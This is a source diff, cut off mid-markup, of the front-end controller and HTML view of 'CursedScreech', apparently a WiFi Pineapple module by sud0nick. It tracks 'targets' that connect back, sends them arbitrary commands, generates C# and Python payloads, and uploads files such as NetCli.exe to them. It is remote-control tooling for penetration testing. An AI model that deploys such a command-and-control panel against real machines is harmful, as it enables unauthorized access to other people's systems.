|
||||
$scope.showSeinThrobber = true;
|
||||
} else if (name == "kuro.py") {
|
||||
$scope.showKuroThrobber = true;
|
||||
}
|
||||
$api.request({
|
||||
module: 'CursedScreech',
|
||||
action: 'startProc',
|
||||
procName: name
|
||||
},function(response) {
|
||||
if (name == "sein.py") {
|
||||
if (response.success === true){
|
||||
$scope.seinIsRunning = true;
|
||||
$scope.seinStatus = "Running - PID: " + response.data;
|
||||
$scope.seinButton = "Stop";
|
||||
}
|
||||
$scope.showSeinThrobber = false;
|
||||
} else if (name == "kuro.py") {
|
||||
if (response.success === true) {
|
||||
$scope.kuroIsRunning = true;
|
||||
$scope.kuroStatus = "Running - PID: " + response.data;
|
||||
$scope.kuroButton = "Stop";
|
||||
}
|
||||
$scope.showKuroThrobber = false;
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
$scope.procStatus = (function(name){
|
||||
$api.request({
|
||||
module: 'CursedScreech',
|
||||
action: 'procStatus',
|
||||
procName: name
|
||||
},function(response){
|
||||
//console.log(response);
|
||||
if (response.success == true) {
|
||||
if (name == "sein.py") {
|
||||
$scope.seinIsRunning = true;
|
||||
$scope.seinStatus = "Running - PID: " + response.data;
|
||||
$scope.seinButton = "Stop";
|
||||
} else if (name == "kuro.py") {
|
||||
$scope.kuroIsRunning = true;
|
||||
$scope.kuroStatus = "Running - PID: " + response.data;
|
||||
$scope.kuroButton = "Stop";
|
||||
}
|
||||
} else {
|
||||
if (name == "sein.py") {
|
||||
$scope.seinIsRunning = false;
|
||||
$scope.seinStatus = "Not Running";
|
||||
$scope.seinButton = "Start";
|
||||
} else if (name == "kuro.py") {
|
||||
$scope.kuroIsRunning = false;
|
||||
$scope.kuroStatus = "Not Running";
|
||||
$scope.kuroButton = "Start";
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
$scope.stopProc = (function(name){
|
||||
$api.request({
|
||||
module: 'CursedScreech',
|
||||
action: 'stopProc',
|
||||
procName: name
|
||||
},function(response) {
|
||||
if (response.success === true){
|
||||
if (name == "sein.py") {
|
||||
$scope.seinIsRunning = false;
|
||||
$scope.seinStatus = "Not Running";
|
||||
$scope.seinButton = "Start";
|
||||
} else if (name == "kuro.py") {
|
||||
$scope.kuroIsRunning = false;
|
||||
$scope.kuroStatus = "Not Running";
|
||||
$scope.kuroButton = "Start";
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
/* ============================================= */
|
||||
/* BEGIN PAYLOAD FUNCTIONS */
|
||||
/* ============================================= */
|
||||
|
||||
$scope.genPayload = (function(type){
|
||||
|
||||
// Check if CursedScreech authorization should be used
|
||||
// if so change the type to 'cs_auth'
|
||||
if (type == "cs" && $scope.settings_auth == true) {
|
||||
type = "cs_auth";
|
||||
}
|
||||
|
||||
$api.request({
|
||||
module: 'CursedScreech',
|
||||
action: 'genPayload',
|
||||
type: type
|
||||
},function(response) {
|
||||
if (response.success === true) {
|
||||
window.location = '/api/?download=' + response.data;
|
||||
} else {
|
||||
console.log("Failed to archive payload files");
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
$scope.clearDownloads = (function(){
|
||||
$api.request({
|
||||
module: 'CursedScreech',
|
||||
action: 'clearDownloads'
|
||||
},function(response){
|
||||
if (response.success === false){
|
||||
console.log("Failed to clear API downloads directory.");
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
/* ============================================= */
|
||||
/* BEGIN TARGET FUNCTIONS */
|
||||
/* ============================================= */
|
||||
|
||||
$scope.sendCommand = (function(){
|
||||
if ($scope.targetCommand == "") {
|
||||
return;
|
||||
}
|
||||
|
||||
var checkedTargets = []
|
||||
for (var x=0; x < $scope.targets.length; x++){
|
||||
if ($scope.targets[x].checked) {
|
||||
checkedTargets.push($scope.targets[x].socket.split(":")[0]);
|
||||
}
|
||||
}
|
||||
if (checkedTargets.length == 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Check if a payload is to be sent and build its command string
|
||||
var cmd = "";
|
||||
if ($scope.showPayloadSelect) {
|
||||
// ex: "sendfile;/pineapple/modules/CursedScreech/includes/payloads/NetCli.exe;C:\Temp\"
|
||||
cmd = "sendfile;" + $scope.payloadDir + $scope.selectedPayload.fileName + ";" + $scope.targetCommand;
|
||||
} else {
|
||||
cmd = $scope.targetCommand;
|
||||
}
|
||||
$api.request({
|
||||
module: 'CursedScreech',
|
||||
action: 'sendCommand',
|
||||
command: cmd,
|
||||
targets: checkedTargets
|
||||
},function(response){});
|
||||
});
|
||||
|
||||
function getTargetIndex(sock){
|
||||
var addr = sock.split(":")[0];
|
||||
for (var x=0; x < $scope.targets.length; x++){
|
||||
if ($scope.targets[x].socket.split(":")[0] == addr){
|
||||
return x;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function itemExistsInList(item,list){
|
||||
for (var x=0; x < list.length; x++){
|
||||
if (list[x] == item) {
|
||||
return x;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$scope.selectAllTargets = (function(){
|
||||
if ($scope.checkAllTargets) {
|
||||
// Set to false if currently true
|
||||
$scope.checkAllTargets = false;
|
||||
} else {
|
||||
$scope.checkAllTargets = true;
|
||||
}
|
||||
for (var x=0; x < $scope.targets.length; x++){
|
||||
if ($scope.checkAllTargets) {
|
||||
$scope.targets[x].checked = true;
|
||||
} else {
|
||||
$scope.targets[x].checked = false;
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
$scope.loadTargets = (function(){
|
||||
$api.request({
|
||||
module: 'CursedScreech',
|
||||
action: 'loadTargets'
|
||||
},function(response){
|
||||
if (response.success === true) {
|
||||
var index;
|
||||
// Load all targets from the Sein list into our local list
|
||||
// if any currently exist then update their information
|
||||
for (var x=0; x < response.data.length; x++) {
|
||||
index = getTargetIndex(response.data[x])
|
||||
if (index !== undefined) {
|
||||
$scope.targets[index].socket = response.data[x];
|
||||
} else {
|
||||
$scope.targets.push({'socket': response.data[x], 'checked': false});
|
||||
}
|
||||
}
|
||||
|
||||
// Check the opposite - if the target exists in our local list but not in
|
||||
// the list provided it must be deleted from our local list
|
||||
for (var x=0; x < $scope.targets.length; x++){
|
||||
if (itemExistsInList($scope.targets[x].socket, response.data) === undefined) {
|
||||
// Remove item from scope.targets
|
||||
index = getTargetIndex($scope.targets[x].socket);
|
||||
$scope.targets.splice(index, 1);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
console.log(response.message);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
$scope.clearTargets = (function(){
|
||||
$scope.clearLog('targets.log', 'forest');
|
||||
$scope.targets = [];
|
||||
});
|
||||
|
||||
$scope.deleteTarget = (function(name){
|
||||
$api.request({
|
||||
module: 'CursedScreech',
|
||||
action: 'deleteTarget',
|
||||
target: name
|
||||
},function(response){
|
||||
$scope.loadTargets();
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
/* ============================================= */
|
||||
/* BEGIN EZCMDS FUNCTIONS */
|
||||
/* ============================================= */
|
||||
|
||||
$scope.loadEZCmds = (function(){
|
||||
$api.request({
|
||||
module: 'CursedScreech',
|
||||
action: 'loadEZCmds'
|
||||
},function(response){
|
||||
for (k in response.data) {
|
||||
if (response.data[k] == null) {
|
||||
delete(response.data[k]);
|
||||
}
|
||||
}
|
||||
$scope.ezcmds = response.data;
|
||||
});
|
||||
});
|
||||
|
||||
$scope.saveEZCmds = (function(){
|
||||
$api.request({
|
||||
module: 'CursedScreech',
|
||||
action: 'saveEZCmds',
|
||||
ezcmds: $scope.ezcmds
|
||||
},function(response){
|
||||
if (response.success === true){
|
||||
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
$scope.deleteEZCmd = (function(key){
|
||||
if (!confirm("Delete " + key + "?")) {
|
||||
return;
|
||||
}
|
||||
for (k in $scope.ezcmds) {
|
||||
if (k == key) {
|
||||
delete($scope.ezcmds[k]);
|
||||
$scope.saveEZCmds();
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
$scope.addEZCmd = (function(){
|
||||
if (!$scope.newCmdName || !$scope.newCmdCommand) {
|
||||
return;
|
||||
}
|
||||
$scope.ezcmds[$scope.newCmdName] = $scope.newCmdCommand;
|
||||
$scope.saveEZCmds();
|
||||
$scope.newCmdName = $scope.newCmdCommand = "";
|
||||
});
|
||||
|
||||
$scope.ezCommandChange = (function(){
|
||||
if ($scope.selectedCmd === null) {
|
||||
$scope.targetCommand = "";
|
||||
$scope.showPayloadSelect = false;
|
||||
return;
|
||||
}
|
||||
for (key in $scope.ezcmds) {
|
||||
if ($scope.ezcmds[key] == $scope.selectedCmd) {
|
||||
if (key == "Send File") {
|
||||
$scope.showPayloadSelect = true;
|
||||
} else {
|
||||
$scope.showPayloadSelect = false;
|
||||
}
|
||||
}
|
||||
}
|
||||
$scope.targetCommand = $scope.selectedCmd;
|
||||
});
|
||||
|
||||
|
||||
/* ============================================= */
|
||||
/* BEGIN KEY FUNCTIONS */
|
||||
/* ============================================= */
|
||||
|
||||
$scope.loadCertificates = (function(type) {
|
||||
if (type == "kuro") {
|
||||
$scope.selectKuroKey = true;
|
||||
$scope.selectTargetKey = false;
|
||||
} else if (type == "target") {
|
||||
$scope.selectTargetKey = true;
|
||||
$scope.selectKuroKey = false;
|
||||
}
|
||||
$api.request({
|
||||
module: 'CursedScreech',
|
||||
action: 'loadCertificates'
|
||||
},function(response){
|
||||
if (response.success === true) {
|
||||
// Display certificate information
|
||||
$scope.keyErrorMessage = '';
|
||||
$scope.certificates = response.data;
|
||||
} else {
|
||||
// Display error
|
||||
$scope.keyErrorMessage = response.message;
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
$scope.selectKey = (function(key){
|
||||
keyPath = "/pineapple/modules/Papers/includes/ssl/" + key;
|
||||
if ($scope.selectKuroKey == true) {
|
||||
$scope.settings_kuroKey = keyPath;
|
||||
} else if ($scope.selectTargetKey == true) {
|
||||
$scope.settings_targetKey = keyPath;
|
||||
}
|
||||
});
|
||||
|
||||
/* ============================================= */
|
||||
/* BEGIN LOG FUNCTIONS */
|
||||
/* ============================================= */
|
||||
|
||||
$scope.getLogs = (function(type){
|
||||
/* valid types are error or changelog */
|
||||
$api.request({
|
||||
module: 'CursedScreech',
|
||||
action: 'getLogs',
|
||||
type: type
|
||||
},function(response){
|
||||
if (type == 'error') {
|
||||
$scope.logs = response.data;
|
||||
} else if (type == 'changelog') {
|
||||
$scope.changelogs = response.data;
|
||||
} else if (type == 'targets') {
|
||||
$scope.allTargetLogs = response.data;
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
$scope.readLog = (function(log,type){
|
||||
$api.request({
|
||||
module: 'CursedScreech',
|
||||
action: 'readLog',
|
||||
logName: log,
|
||||
type: type
|
||||
},function(response){
|
||||
if (response.success === true) {
|
||||
if (log == 'activity.log') {
|
||||
$scope.activityLogData = response.data;
|
||||
} else {
|
||||
$scope.currentLogTitle = log;
|
||||
$scope.currentLogData = $sce.trustAsHtml(response.data);
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
$scope.downloadLog = (function(name,type){
|
||||
$api.request({
|
||||
module: 'CursedScreech',
|
||||
action: 'downloadLog',
|
||||
logName: name,
|
||||
logType: type
|
||||
},function(response){
|
||||
if (response.success === true) {
|
||||
window.location = '/api/?download=' + response.data;
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
$scope.clearLog = (function(log,type){
|
||||
$api.request({
|
||||
module: 'CursedScreech',
|
||||
action: 'clearLog',
|
||||
logName: log,
|
||||
type: type
|
||||
},function(response){
|
||||
if (log == "activity.log") {
|
||||
$scope.readLog("activity.log", "forest");
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
$scope.deleteLog = (function(log, type){
|
||||
if (!confirm("Delete " + log + "?")) {
|
||||
return;
|
||||
}
|
||||
$api.request({
|
||||
module: 'CursedScreech',
|
||||
action: 'deleteLog',
|
||||
logName: log,
|
||||
type: type
|
||||
},function(response){
|
||||
if (type == 'targets') {
|
||||
$scope.getLogs('targets');
|
||||
}
|
||||
if (response.success === false) {
|
||||
alert(response.message);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
$scope.refreshLogs = (function(){
|
||||
$scope.getLogs("error");
|
||||
if ($scope.seinIsRunning) {
|
||||
$scope.loadTargets();
|
||||
}
|
||||
if ($scope.kuroIsRunning) {
|
||||
$scope.readLog("activity.log", "forest");
|
||||
}
|
||||
});
|
||||
|
||||
/* ============================================= */
|
||||
/* BEGIN PAYLOAD FUNCTIONS */
|
||||
/* ============================================= */
|
||||
|
||||
$scope.setSelectedFiles = (function(){
|
||||
files = document.getElementById("selectedFiles").files;
|
||||
for (var x = 0; x < files.length; x++) {
|
||||
$scope.selectedFiles.push(files[x]);
|
||||
}
|
||||
});
|
||||
|
||||
$scope.removeSelectedFile = (function(file){
|
||||
var x = $scope.selectedFiles.length;
|
||||
while (x--) {
|
||||
if ($scope.selectedFiles[x] === file) {
|
||||
$scope.selectedFiles.splice(x,1);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
$scope.uploadFile = (function(){
|
||||
$scope.uploading = true;
|
||||
|
||||
var fd = new FormData();
|
||||
for (x = 0; x < $scope.selectedFiles.length; x++) {
|
||||
fd.append($scope.selectedFiles[x].name, $scope.selectedFiles[x]);
|
||||
}
|
||||
$http.post("/modules/CursedScreech/api/module.php", fd, {
|
||||
transformRequest: angular.identity,
|
||||
headers: {'Content-Type': undefined}
|
||||
}).success(function(response) {
|
||||
for (var key in response) {
|
||||
if (response.hasOwnProperty(key)) {
|
||||
if (response.key == "Failed") {
|
||||
alert("Failed to upload " + key);
|
||||
}
|
||||
}
|
||||
}
|
||||
$scope.selectedFiles = [];
|
||||
$scope.getPayloads();
|
||||
$scope.uploading = false;
|
||||
});
|
||||
});
|
||||
|
||||
$scope.getPayloads = (function(){
|
||||
$api.request({
|
||||
module: 'CursedScreech',
|
||||
action: 'getPayloads'
|
||||
},function(response){
|
||||
$scope.payloads = [];
|
||||
for (var key in response.data) {
|
||||
if (response.data.hasOwnProperty(key)) {
|
||||
var obj = {fileName: key, filePath: response.data[key]};
|
||||
$scope.payloads.push(obj);
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
$scope.deletePayload = (function(payload){
|
||||
var res = confirm("Press OK to confirm deletion of " + payload.fileName + ".");
|
||||
if (!res) {return;}
|
||||
$api.request({
|
||||
module: 'CursedScreech',
|
||||
action: 'deletePayload',
|
||||
filePath: payload.filePath + payload.fileName
|
||||
},function(response){
|
||||
$scope.getPayloads();
|
||||
});
|
||||
});
|
||||
|
||||
$scope.configUploadLimit = (function(){
|
||||
$scope.uploadLimitThrobber = true;
|
||||
$api.request({
|
||||
module: 'CursedScreech',
|
||||
action: 'cfgUploadLimit'
|
||||
},function(response){
|
||||
if (response.success === true) {
|
||||
alert("Upload limit configured successfully.");
|
||||
} else {
|
||||
alert("Failed to configure upload limit.");
|
||||
}
|
||||
$scope.uploadLimitThrobber = false;
|
||||
});
|
||||
});
|
||||
|
||||
/* ============================================= */
|
||||
/* MISC FUNCTIONS */
|
||||
/* ============================================= */
|
||||
$scope.swapPane = (function(pane) {
|
||||
if (pane) { return; }
|
||||
$scope.showTargetPane = !$scope.showTargetPane;
|
||||
$scope.showPayloadPane = !$scope.showPayloadPane;
|
||||
});
|
||||
|
||||
/* ============================================= */
|
||||
/* INITIALIZERS */
|
||||
/* ============================================= */
|
||||
|
||||
// Not sure if this is ever reached
|
||||
$scope.$on('$destroy', function(){
|
||||
$interval.cancel($scope.stop);
|
||||
$scope.stop = undefined;
|
||||
});
|
||||
|
||||
$scope.loadAvailableInterfaces();
|
||||
$scope.loadSettings();
|
||||
$scope.loadEZCmds();
|
||||
$scope.getPayloads();
|
||||
$scope.getLogs('changelog');
|
||||
$scope.depends('check');
|
||||
$scope.clearDownloads();
|
||||
$scope.procStatus('sein.py');
|
||||
$scope.procStatus('kuro.py');
|
||||
|
||||
$scope.stop = $interval(function(){
|
||||
$scope.refreshLogs();
|
||||
if ($scope.seinIsRunning) {
|
||||
$scope.procStatus('sein.py');
|
||||
}
|
||||
if ($scope.kuroIsRunning) {
|
||||
$scope.procStatus('kuro.py');
|
||||
}
|
||||
}, 2000);
|
||||
|
||||
}])
|
|
@ -0,0 +1,640 @@
|
|||
<!-- CursedScreech by sud0nick (C) 2016 -->
|
||||
|
||||
<script>
|
||||
$(document).on('mouseenter', '.cs_hoverSuccess', function() {
|
||||
$(this).addClass("btn-success");
|
||||
}).on('mouseleave', '.cs_hoverSuccess', function(){
|
||||
$(this).removeClass("btn-success");
|
||||
});
|
||||
|
||||
$(document).on('mouseenter', '.cs_hoverPrimary', function() {
|
||||
$(this).addClass("btn-primary");
|
||||
}).on('mouseleave', '.cs_hoverPrimary', function(){
|
||||
$(this).removeClass("btn-primary");
|
||||
});
|
||||
|
||||
$(document).on('mouseenter', '.cs_hoverInfo', function() {
|
||||
$(this).addClass("btn-info");
|
||||
}).on('mouseleave', '.cs_hoverInfo', function(){
|
||||
$(this).removeClass("btn-info");
|
||||
});
|
||||
|
||||
$(document).on('mouseenter', '.cs_hoverDanger', function() {
|
||||
$(this).addClass("btn-danger");
|
||||
}).on('mouseleave', '.cs_hoverDanger', function(){
|
||||
$(this).removeClass("btn-danger");
|
||||
});
|
||||
</script>
|
||||
|
||||
<div class="row" ng-controller="CursedScreechController">
|
||||
|
||||
<!-- ==================== -->
|
||||
<!-- BEGIN STATUS PANEL -->
|
||||
<!-- ==================== -->
|
||||
|
||||
<div class="col-md-12">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
<h3 class="panel-title">CursedScreech Status</h3>
|
||||
</div>
|
||||
<div class="panel-body">
|
||||
<div class="container-fluid">
|
||||
|
||||
<div class="row pull-right">
|
||||
<button type="button" class="btn" data-toggle="modal" data-target="#cs_viewLogInfo" ng-click="readLog('status.help','help');">?</button>
|
||||
</div>
|
||||
<br />
|
||||
<div class="row">
|
||||
<div class="col-md-3">
|
||||
<button type="button" class="btn btn-sm btn-success" ng-show="seinButton=='Start'" ng-hide="seinButton=='Stop'" ng-disabled="showSeinThrobber" ng-click="startProc('sein.py');">Start</button>
|
||||
<button type="button" class="btn btn-sm btn-danger" ng-show="seinButton=='Stop'" ng-hide="seinButton=='Start'" ng-disabled="showSeinThrobber" ng-click="stopProc('sein.py');">Stop</button>
|
||||
<h4 ng-show="!showSeinThrobber" ng-hide="showSeinThrobber">Sein: {{ seinStatus }}</h4>
|
||||
<h4 ng-show="showSeinThrobber" ng-hide="!showSeinThrobber">Sein: <img src='/img/throbber.gif'/></h4>
|
||||
</div>
|
||||
|
||||
<div class="col-md-3">
|
||||
<button type="button" class="btn btn-sm btn-sm btn-success" ng-show="kuroButton=='Start'" ng-hide="kuroButton=='Stop'" ng-disabled="showKuroThrobber" ng-click="startProc('kuro.py');">Start</button>
|
||||
<button type="button" class="btn btn-sm btn-sm btn-danger" ng-show="kuroButton=='Stop'" ng-hide="kuroButton=='Start'" ng-disbaled="showKuroThrobber" ng-click="stopProc('kuro.py');">Stop</button>
|
||||
<h4 ng-show="!showKuroThrobber" ng-hide="showKuroThrobber">Kuro: {{ kuroStatus }}</h4>
|
||||
<h4 ng-show="showKuroThrobber" ng-hide="!showKuroThrobber">Kuro: <img src='/img/throbber.gif'/></h4>
|
||||
</div>
|
||||
|
||||
<div class="col-md-3">
|
||||
<button type="button" class="btn btn-sm btn-success" ng-show="!dependsInstalled" ng-hide="dependsInstalled" ng-disabled="dependsProcessing" ng-click="depends('install');">Install</button>
|
||||
<button type="button" class="btn btn-sm btn-danger" ng-show="dependsInstalled" ng-hide="!dependsInstalled" ng-disabled="dependsProcessing" ng-click="depends('remove');">Uninstall</button>
|
||||
<img ng-show="dependsProcessing" ng-hide="!dependsProcessing" src='/img/throbber.gif'/>
|
||||
<h4>Dependencies</h4>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- ==================== -->
|
||||
<!-- END STATUS PANEL -->
|
||||
<!-- ==================== -->
|
||||
|
||||
<!-- ==================== -->
|
||||
<!-- BEGIN SETTINGS PANEL -->
|
||||
<!-- ==================== -->
|
||||
|
||||
<div class="col-md-12">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading pointer" data-toggle="collapse" data-target="#settings">
|
||||
<h3 class="panel-title">Settings
|
||||
<img ng-show="showSettingsThrobber" ng-hide="!showSettingsThrobber" src='/img/throbber.gif'/></h3>
|
||||
</div>
|
||||
<div id="settings" class="panel-collapse collapse">
|
||||
<div class="panel-body">
|
||||
<div class="container-fluid">
|
||||
<div class="row pull-right">
|
||||
<button type="button" class="btn" data-toggle="modal" data-target="#cs_viewLogInfo" ng-click="readLog('settings.help','help');">?</button>
|
||||
</div>
|
||||
<br />
|
||||
<div class="row">
|
||||
<div class="col-md-8">
|
||||
<div class="row form-group">
|
||||
<label class="col-md-2 control-label">Listening Interface</label>
|
||||
<div class="col-md-6">
|
||||
<select class="form-control" ng-model="settings_ifaceName" ng-options="iface for iface in available_interfaces">
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="row form-group">
|
||||
<label class="col-md-2 control-label">Multicast Group</label>
|
||||
<div class="col-md-6">
|
||||
<input type="text" ng-model="settings_mcastGroup" class="form-control">
|
||||
</div>
|
||||
<div class="col-md-2">
|
||||
<button type="button" class="btn btn-sm" ng-click="useDefault('mcast_group');">Default</button>
|
||||
</div>
|
||||
</div>
|
||||
<div class="row form-group">
|
||||
<label class="col-md-2 control-label">Multicast Port</label>
|
||||
<div class="col-md-6">
|
||||
<input type="text" ng-model="settings_mcastPort" class="form-control">
|
||||
</div>
|
||||
<div class="col-md-2">
|
||||
<button type="button" class="btn btn-sm" ng-click="useDefault('mcast_port');">Default</button>
|
||||
</div>
|
||||
</div>
|
||||
<div class="row form-group">
|
||||
<label class="col-md-2 control-label">Heartbeat Interval</label>
|
||||
<div class="col-md-6">
|
||||
<input type="text" ng-model="settings_hb_interval" class="form-control">
|
||||
</div>
|
||||
<div class="col-md-2">
|
||||
<button type="button" class="btn btn-sm" ng-click="useDefault('hb_interval');">Default</button>
|
||||
</div>
|
||||
</div>
|
||||
<div class="row form-group">
|
||||
<label class="col-md-2 control-label">Kuro Keys</label>
|
||||
<div class="col-md-6">
|
||||
<input type="text" ng-model="settings_kuroKey" class="form-control">
|
||||
</div>
|
||||
<div class="col-md-2">
|
||||
<button type="button" class="btn btn-sm" data-toggle="modal" data-target="#cs_keyModal" ng-click="loadCertificates('kuro');">SSL Store</button>
|
||||
</div>
|
||||
</div>
|
||||
<div class="row form-group">
|
||||
<label class="col-md-2 control-label">Target Keys</label>
|
||||
<div class="col-md-6">
|
||||
<input type="text" ng-model="settings_targetKey" class="form-control">
|
||||
</div>
|
||||
<div class="col-md-2">
|
||||
<button type="button" class="btn btn-sm" data-toggle="modal" data-target="#cs_keyModal" ng-click="loadCertificates('target');">SSL Store</button>
|
||||
</div>
|
||||
</div>
|
||||
<div class="row form-group">
|
||||
<div class="col-md-6">
|
||||
<div class="checkbox">
|
||||
<label><input type="checkbox" ng-model="settings_auth">Use PortalAuth for authorization</label>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="row">
|
||||
<div class="col-md-2" style="padding-top: 5px">
|
||||
<button type="button" class="btn cs_hoverInfo fixed-width" style="width:175px" ng-click="updateSettings();"><img src="/modules/CursedScreech/includes/icons/glyphicons-447-floppy-save.png"/> Save Settings</button>
|
||||
</div>
|
||||
<div class="col-md-2" style="padding-top: 5px">
|
||||
<button type="button" class="btn cs_hoverInfo fixed-width" style="width:175px" ng-click="genPayload('cs');"><img src="/modules/CursedScreech/includes/icons/glyphicons-201-download.png"/> C# Payload</button>
|
||||
</div>
|
||||
<div class="col-md-2" style="padding-top: 5px">
|
||||
<button type="button" class="btn cs_hoverInfo fixed-width" style="width:175px" ng-click="genPayload('python');"><img src="/modules/CursedScreech/includes/icons/glyphicons-201-download.png"/> Python Payload</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- ================== -->
|
||||
<!-- END SETTINGS PANEL -->
|
||||
<!-- ================== -->
|
||||
|
||||
<!-- ==================================== -->
|
||||
<!-- BEGIN ACTIVITY LOG AND TARGET PANELS -->
|
||||
<!-- ==================================== -->
|
||||
|
||||
<div class="col-md-12">
|
||||
<div class="row">
|
||||
<div class="col-md-6">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading pointer" data-toggle="collapse" data-target="#cs_activityLog">
|
||||
<h3 class="panel-title">Activity Log
|
||||
</div>
|
||||
<div id="cs_activityLog" class="panel-collapse collapse">
|
||||
<div class="panel-body" style="height: 500px">
|
||||
<div class="container-fluid">
|
||||
<div class="pull-right">
|
||||
<button type="button" class="btn" data-toggle="modal" data-target="#cs_viewLogInfo" ng-click="readLog('activitylog.help','help');">?</button>
|
||||
<br /><br />
|
||||
</div>
|
||||
<textarea ng-model="activityLogData" style="width: 100%; height: 350px" readonly></textarea>
|
||||
<button type="button" class="btn cs_hoverInfo" ng-click="clearLog('activity.log', 'forest');"><img src="/modules/CursedScreech/includes/icons/glyphicons-198-remove-circle.png"/> Clear Log</button>
|
||||
<button type="button" class="btn cs_hoverInfo" ng-click="downloadLog('activity.log', 'forest');"><img src="/modules/CursedScreech/includes/icons/glyphicons-201-download.png"/> Download</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="col-md-6">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading pointer" data-toggle="collapse" data-target="#cs_targetLog">
|
||||
<h3 class="panel-title">Targets
|
||||
</div>
|
||||
<div id="cs_targetLog" class="panel-collapse collapse">
|
||||
<div class="panel-body" style="height: 500px">
|
||||
<div class="container-fluid">
|
||||
|
||||
<div class="pull-right">
|
||||
<button type="button" class="btn" data-toggle="modal" data-target="#cs_viewLogInfo" ng-click="readLog('targets.help','help');">?</button>
|
||||
<br /><br />
|
||||
</div>
|
||||
|
||||
<div style="text-align: center">
|
||||
<button type="button" class="btn" ng-class="{ 'btn-success' : showTargetPane }" ng-click="swapPane(showTargetPane);">Targets</button>
|
||||
<button type="button" class="btn" ng-class="{ 'btn-success' : showPayloadPane }" ng-click="getPayloads(); swapPane(showPayloadPane);">Payloads</button>
|
||||
</div>
|
||||
|
||||
|
||||
<!-- Target Pane -->
|
||||
<div ng-show="showTargetPane" ng-hide="!showTargetPane">
|
||||
<div class="form-group">
|
||||
<div class="form-group">
|
||||
<select class="form-control block" ng-model="selectedCmd" ng-disabled="kuroButton=='Start'" ng-change="ezCommandChange();" ng-options="value as key for (key, value) in ezcmds">
|
||||
<option value="" selected>Select...</option>
|
||||
</select>
|
||||
<br />
|
||||
<div ng-show="showPayloadSelect">
|
||||
<select ng-disabled="kuroButton=='Start'" class="form-control" ng-model="selectedPayload" ng-options="payload.fileName for payload in payloads">
|
||||
<option value="" disabled selected>Select Payload...</option>
|
||||
</select>
|
||||
<br />
|
||||
<h4>Remote upload path</h4>
|
||||
</div>
|
||||
<input type="text" ng-model="targetCommand" class="form-control block" ng-disabled="kuroButton=='Start'" placeholder="Send command to target"><br />
|
||||
<table style="width: 100%">
|
||||
<tr><td>
|
||||
<button type="button" class="btn btn-sm cs_hoverInfo" style="width: 100px;" ng-disabled="kuroButton=='Start'" ng-click="sendCommand();">Send</button>
|
||||
</td><td align="right">
|
||||
<button type="button" class="btn btn-sm cs_hoverInfo" data-toggle="modal" data-target="#ezcmds_modal">EZ Cmds</button>
|
||||
</td></tr>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="table-responsive table-dropdown">
|
||||
<table class="table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th><input type="checkbox" ng-change="selectAllTargets();" ng-model="cbox"></th>
|
||||
<th>Socket</th>
|
||||
<th>Recv Log</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr ng-repeat="target in targets">
|
||||
<td><input type="checkbox" name="targetSelect" ng-model="target.checked"/></td>
|
||||
<td>{{ target.socket }}</td>
|
||||
<td>
|
||||
<button type="button" class="btn btn-sm cs_hoverInfo" data-toggle="modal" data-target="#cs_viewRecvData" ng-click="readLog(target.socket.split(':')[0], 'targets');"><img src="/modules/CursedScreech/includes/icons/glyphicons-28-search.png"/></button>
|
||||
<button type="button" class="btn btn-sm cs_hoverInfo" ng-click="downloadLog(target.socket.split(':')[0], 'targets');"><img src="/modules/CursedScreech/includes/icons/glyphicons-201-download.png"/></button>
|
||||
<button type="button" class="btn btn-sm cs_hoverDanger" ng-click="clearLog(target.socket.split(':')[0], 'targets');"><img src="/modules/CursedScreech/includes/icons/glyphicons-198-remove-circle.png"/></button>
|
||||
</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
<table style="width: 100%">
|
||||
<tr><td>
|
||||
<button type="button" class="btn btn-sm cs_hoverInfo" ng-click="clearTargets();"><img src="/modules/CursedScreech/includes/icons/glyphicons-198-remove-circle.png"/> Clear Targets</button>
|
||||
</td><td align="right">
|
||||
<button type="button" class="btn btn-sm cs_hoverInfo" data-toggle="modal" data-target="#cs_allTargetLogs" ng-click="getLogs('targets');"><img src="/modules/CursedScreech/includes/icons/glyphicons-37-file.png"/> All Logs</button>
|
||||
</td></tr>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<!-- Payload Pane -->
|
||||
<div ng-show="showPayloadPane" ng-hide="!showPayloadPane">
|
||||
